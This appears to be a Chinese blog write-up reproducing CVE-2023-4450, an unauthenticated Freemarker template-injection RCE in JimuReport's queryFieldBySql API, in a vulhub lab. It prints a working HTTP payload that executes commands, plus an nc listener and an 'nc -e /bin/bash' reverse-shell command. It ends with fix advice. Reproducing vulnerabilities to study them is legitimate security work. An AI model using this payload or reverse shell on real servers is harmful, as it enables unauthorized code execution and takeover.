[CVE-2023-4450]Jeect-boot queryFieldBySql接口RCE漏洞漏洞复现

Jeect-boot queryFieldBySql接口RCE漏洞复现

一、基本信息

  • 漏洞名称:Jeect-boot queryFieldBySql接口RCE漏洞

  • 漏洞编号:CVE-2023-4450

  • 漏洞等级:高

  • 报告日期:2024/12/9

  • 复现环境:kali2023

  • 受影响版本:JimuReport < 1.6.1

二、漏洞描述

JimuReport 是基于 Java 语言开发的,使用了多种开源技术栈。jeect-boot积木报表由于未授权的 API /jmreport/queryFieldBySql 使用了 freemarker 解析 SQL 语句从而导致了 RCE 漏洞的产生,攻击者可以通过发送特定的POST请求到/jeecg-boot/jmreport/queryFieldBySql接口,其中包含恶意的SQL语句,利用Freemarker解析执行任意代码

三、复现步骤

  1. 准备复现环境

    • 选择两台虚拟机器,一台作为靶机

      ip:192.168.80.129 ubentu

      192.168.80.131 kali

选择vulhub的漏洞环境

docker-compose up -d
 
 
 
   
 另一台作为攻击机使用nc反弹shell 

docker-compose up -d
   
 物理机则使用yakit对调用目标接口发包实现执行命令的目
  1. 复现步骤

    1. 步骤一环境拉取:先在kali中拉取docker-compose,注意需要占用kali的5005和8085以及3306端口,端口占用会导致拉取失败

    2. 步骤二:在物理机中访问 虚拟机ip/8085端口进入设计文档页面

    3. 步骤三:使用yakit向网站进行抓包改包发包,验证漏洞的存在性

      payload:

      POST /jmreport/queryFieldBySql HTTP/1.1
      Host: ip/8085
      Accept-Encoding: gzip, deflate, br
      Accept: */*
      Accept-Language: en-US;q=0.9,en;q=0.8
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
      Connection: close
      Cache-Control: max-age=0
      Content-Type: application/json
      Content-Length: 100
      ​
      {"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"whoami\")}'" }

      验证得出确实存在任意命令执行漏洞,此处执行解析了whoami的命令

    4. 步骤四:在ubentu22中执行,用以监听getshell

      nc -lvp 8888
    5. 步骤五:将yakit发包中的命令whoami改为

      nc -e  /bin/bash ip 端口

      用以执行反弹shell

  2. 触发漏洞

    • 预期结果:

    此外,我选择尝试进行sql语句创建用户看看是否有通过sql系统控制服务器的可能

行不通,可能是不同版本开发者对于这个接口请求设置的权限不同?

五、修复建议

  1. 过滤输入:对表名和字段名进行严格过滤,防止攻击者构造恶意请求。可以使用正则表达式过滤非法字符或采用白名单限制用户只能输入预定义的表名和字段名。

  2. 更新组件:确保JimuReport组件更新到最新版本,以修复已知的漏洞。

  3. 安全审计:定期进行代码审计和安全测试,确保及时发现并修复潜在的安全问题。

  4. 权限控制:加强对API接口的权限控制,确保只有授权用户可以访问敏感接口

六、参考资料

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值